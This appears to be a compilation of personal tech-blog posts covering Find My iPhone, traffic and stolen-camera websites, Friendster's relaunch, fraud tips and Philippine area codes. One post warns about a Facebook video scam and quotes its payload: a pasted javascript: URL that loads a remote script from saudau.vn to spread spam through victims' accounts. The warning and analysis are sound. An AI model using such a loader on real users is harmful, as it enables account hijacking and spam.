Find My iPod/iPhone

BACKGROUND

     Everyone has experienced it, sometime in your life you misplace your things. Sometimes it also happens that people get extra "curious" with your stuff and get hold of them. In these days of iPod and iPhone popularity most people would not like it if their gadget goes MIA. Gladly Apple has a nifty solution for this. They have a built in app inside these gadgets that will enable you to track them somehow and also remotely  perform some actions on them.

REQUIREMENTS
• iPod/iPhone runs iOS 5.0 or higher

      If not you can update your device first. Just connect your device to your Mac or PC and follow the onscreen instructions in iTunes. This update also requires that your iTunes is version 10.5 or higher. So if it's not, you need to update your iTunes first.

• iCloud turned on and properly set up

     On your iOS device, go to settings then choose iCloud. Create and set up your iCloud account. Make sure that Find My iPod/iPhone is set to on.

FEATURES
• Locate your device on a map

• Display a message on the screen
• Play a sound for two minutes at full volume (even if your device is set to silent)
• Remotely lock your device

• Remotely wipe your device to erase your personal data

• New features for iCloud users:
     Ability to find a Mac
     Option to request an email when an offline device comes online and is located
 
USER REVIEW

     I tried to locate my device by using my PC. I point my browser to iCloud.com then logged in with my iTunes account. After authentication, I clicked on the Find My iPhone icon. And there, my device appeared on a map powered by Google.

Geographic location of the device

     I would say that this location report is quite accurate to about 15 meter radius as I have tried the location tracking for many times. But this of course will depend on your location. As I am in the city with many cellsites near my location so the accuracy of the triangulation calculation is high.

     Clicking the icon on the map will show a pop up options to perform remote actions on your device. You have the choice to send a message and optionally play a sound in full volume, remotely lock the device or conduct a remote wipe. Choosing to lock will just lock your device using your current lock key. Remote wipe will restore the device to factory settings and delete all your confidential data in the process.This is useful if you have sensitive information on your device that should not fall into the hands of unauthorized person or competitor.

Actions that can be performed remotely

     I choose the option to send a message and play sound on my device. The response was immediate. The message appear on my device with the label "Important Message" and my device plays a tone that sounds like a locator beacon for two minutes. If you just choose to play a sound without a message an alert will appear on the device with the label "Find My iPod touch Alert". This play sound option will be very useful if you just misplace your device and its in silent mode so the old technique of calling it from another phone will not work. One downside is that if your device is already on the hands of someone else its very easy to stop the sound. Momentarily pressing the power button will stop the tone even without unlocking the device.

Option to send a message with sound

Message on the device

Action notification also sent to your iTunes account email

PROS:

• Ability to send message and play a sound instantaneously

• Option to wipe out device data remotely

• Email alert can be set up to inform you once the device goes online if you are not able to track it before because it is offline.

CONS:

• Location accuracy is dependent on the number of cellsites in proximity

• Sound can be stopped even without unlocking the device

Miles Cyrus Facebook Scam

BACKGROUND

     If you see your wall or your news stream on Facebook filled with so many update from friends about a so called Miles Cyrus video it means that your friends has been a victim of this new widget exploit on Facebook. Please resist the temptation to follow the link unless you want to be victimized also. I hope this will be brought to Facebook authorities' attention so that they can stop this immediately.

DETAILS

A stream of Facebook wall posts

    Seeing this stream of posts of your friends on your wall might spark your interest to follow the links. But for the exprerienced eyes (or kind of paranoid) this looks suspicious. As you can see two of them have the same caption word for word and even capitalization.

     So just to prove my doubts on this post I decided to follow the link. After clicking the link, I was redirected to a fanpage with an embedded video that I was supposed to verify that I am above 18. At this point I'm now convinced that there was something fishy with this. That is because for all I know, Facebook does not allow mature content on their site as what their Terms and Conditions states. (Yeah I bothered to read all of that).

     To see what this widget is up to, I clicked the continue button to verify that I am above 18. After clicking continue, I was given a set of instructions, It says click the address bar, type j and then press Ctrl+V. Say what? Ctrl+V? As I am quite fond of using keyboard shortcut, I am well aware that it is a shortcut for pasting something. This widget is really up to something not good. Imagine, the widget has an access to your clipboard.

     I did what I was instructed, click the address bar (that selects all that was written in there), type J (overwrites whatever address you have in there) and then press Ctrl+V (pastes something to your address bar appended to the "J"). In this case the appended text to "J" was "avascript:(a=(b=document).createElement('script')).src='http://saudau.vn/1/ro.js',b.body.appendChild(a);void(0)" So this line clearly shows that you are about to execute an offsite javascript when you press Enter which is also part of the instruction. After you follow all this instructions you will be shown a dead end page saying that there are no surveys available for your country. So this is really about surveys and not about the video. But wait, there's more. The widget has more payload in the offsite javascript. The script will also post in the walls of random people on your friends list. So it was also trying to spread itself by using the trust you have with your friends. I have accessed the JavaScript code this scam is executing and I have found out that it is using five fake myles cyrus fanpage with the same malicious content. The fanpage id of these pages are 188909304525633, 180090332077859, 234590593270237, 188127947936748 and 136489769788481. Spread the word to your friends and report this to Facebook authorities so that they can stop this malicious widget.

One of the fanpage that are linked by the wall posts

 

Instructions shown after clicking continue

  

A javascript call being inserted in the address line

The dead end page

The contents of ro.js the offsite javascript being executed

Web Feature: MMDA Trafffic Information

BACKGROUND

     The MMDA has harnessed the power of new technology in delivering real time traffic updates to the general public. It has started with twitter updates and now, in partnership with TV5 interaksyon website, MMDA launches its BETA testing TV5-MMDA traffic monitoring system. Another milestone in MMDA's mission to provide service to the FIlipino people.

USER REVIEW

     The website is satisfactory although it is still in BETA testing as stated by the tweet of MMDA's official twitter account. "MMDA [REMINDER] Please check out our beta website http://mmda.gov.ph/navigator for traffic updates #mmda".

     The traffic update is available in three views: System View, Line View and Google Map View. In system view, you can have a rough overview of the traffic situation on the entire jurisdiction of MMDA. The color coded legend shows if the area has light traffic, moderate traffic or heavy traffic. And if for some reason the site's situation is not available it will also show as such. The color coded nodes on the System View is also clickable that will show a pop up information on the location, north and south bound situation and also the time of the last update.

System View: TV5-MMDA Traffic Monitoring System

     The line view basically gives the same information but it is presented in table form. The traffic situation for northbound and southbound is also presented by the same color code and last update is also provided.

Line View: TV5-MMDA Traffic Monitoring System

     The google map view is also the same with the system view, only that it is presented as a map overlay of the google map. It is very helpful if you want to plan the fastest route to a place you want to go.

Google Map View: TV5-MMDA Traffic Monitoring System

     To the hardworking guys of TV5 and MMDA behind this new service, keep up the good work. We hope to see more updates coming soon to this website. A live "video feed on demand" for a certain location would be great.

Web Feature: Stolen Camera Finder

BACKGROUND

     The idea behind Stolen Camera Finder is that when your camera has been lost or stolen, it will eventually used to take a picture (of course..) and that picture could be uploaded somewhere on the world wide web. This site will search the web for pictures matching the serial number of the camera that you provided or by directly extracting the serial number from the exif data of your previously taken photos.

USER REVIEW

     The sites feature that generally get my attention is the very simple user interface. You will just need to drag and drop your picture and the site will automatically get the serial number from the exif data. Then they will search the web for photos with matching serial number in the exif data.



Sample Exif Details extracted by stolencamerafinder.com



     The only downside is that the drag and drop feature only works on chrome and firefox. So the IE version of the site only relies on the serial number that you will input. The fun part comes with using the site in chrome or firefox. This is because the site dont just get the serial number from the photo's exif data but gather all information within. Then the site enables you to view the exif details of that photo. For all the photography enthusiasts out there, this is quite useful if you want to see the details of certain photos to recreate the shot.

Friendster Reset

THE NEWS

     This happens to most things invented, at some time they are at their peak but time will come that something new will replace it's place. Remember the days of the casette tapes? Now they are gone. Same thing is happening to the pioneer social networking site Friendster. After its launch in 2002, Friendster has become a fad and attracted millions of user all over the world. Then suddenly Facebook came and we are all witness to the the huge transfer of users. Some did not delete their accounts at Friendster but never logged in to their account for very long time.

The official message of Friendster to its users

     Now Friendster is attempting to regain their popularity by "reinventing" itself. They now issued an announcement that the account contents such as photos, messages, comments, testimonials, shoutouts, blogs, forums and groups will be deleted on May 31, 2011. You will no longer have access to it unless you back it up by using their application Friendster exporter. This application will also give you the option to export to Flickr or Multiply. But Friendster assures that you will still have the same email login and password in the new Friendster.  Also, your list of friends will be preserved, along with your basic profile information.

WHAT WILL HAPPEN NEXT?

     As stated on Friendster help pages, "We are introducing a new and improved Friendster in the coming weeks that will be focused on entertainment and fun. There will be new features that will leverage on your online activities and will enable you to connect with friends or engage new friends with similar interests.
For example, if you are playing games or listening to music but none of your friends are, your social experience may be limited. Our improved site is designed to create new profiles that allow you to connect differently with people and do things differently than other networking sites. Basically, the new site will complement your existing online presence in other social networking sites."

     Sounds like you can also link your Friendster account to your other accounts just like Facebook did with the Facebook connect. Anyway change is good and the healthy competition will benefit the users with much more useful services.


Avoid Fraud

Avoid fraud: How to protect yourself

     Found this useful information from unicef's website. It is so sad that people nowadays are so insensitive that they even use the names of organizations that serve a better purpose. Be vigilant and wary, dont fall for scammers techiniques. They often use social engineering to trick you on giving out information that will be used for scamming. Sometimes religion is also used in the form of chain emails. The sole purpose of which is to gather as many valid email addresses as they can which will be sold to spammers. This is very effective since most people just forward the email and you can see all the email addresses of the other persons it has been forwarded to. You can even get relevent informations about a persons job title, address and contact numbers as most of the time this forwarded emails also contain the signatures of the persons that does not want to break the "chain". Ever wonder why unsolicited email pile up on your inbox?

Things That A Driver Should Know

     The following pointers are provided by the MMDA (Metropolitan Manila Development Authority) and are good to know if you are driving in Manila, Philippines. You can also view this and other updates on the official MMDA website http://www.mmda.gov.ph/

• MMDA Enforcers are not allowed to group together while apprehending a motorist. They are not even allowed to stand together in groups of two (2) or more, except in actual times of special operations (e.g. apprehending groups of smoke-belching/colorum buses).
• Swerving is not a traffic violation. It is defined as a movement wherein vehicles shift from a lane to another. However, it can constitute the offense of reckless driving if it is done without precautions (e.g. swerving in an abrupt and careless manner, swerving without the use of signals).

USB Modem Settings

     Today internet has become mobile with the introduction of USB modems. You can choose from different providers that offers the same services. You just consider signal strength and availability as well as the packages and promos they offer.

     The following are the settings for some of the different network providers that I have used. You can just put up a new profile to your existing USB modem software interface and use any USB modem for that. You can also try to get an openline USB modem or unlock your existing one.

USB modems in black and white

Philippine Postal Zip Codes

This is the complete list of Philippine postal zip codes. Included are zip codes for PO boxes and big users.

Philippine Telephone Area Codes

A
Abra 74
Agusan del Norte 85
Agusan del Sur 85
Aklan (Boracay) 36
Albay 52
Albay (Legaspi) 52/5221
Antique 36

B
Bataan 47
Batanes 78
Batangas 43
Batangas (Nasugbu) 43/4396
Benguet (Baguio) 74
Bohol 38
Bukidnon (Damilag) 8853
Bukidnon (Don Carlos) 8851
Bukidnon (Malaybalay, Valencia) 88
Bulacan 44
Bulacan (Abangan) 4422
Bulacan (Obando, EPZA) 2
Bulacan (Saint Francis) 4463

C
Cagayan Valley (Aparri, Tuguegarao) 78
Camarines Norte 54
Camarines Sur 54
Camarines Sur (Libmanan) 5446
Camiguin 88
Capiz 36
Catanduanes 52
Cavite 46
Cebu 32
Cebu (Argao) 3230

D
Davao 82
Davao del Norte 84
Davao del Sur 82
Davao Oriental 87

International Airport Codes

Full list of three letter international airport codes. This list is arranged alphabetically for easy browsing.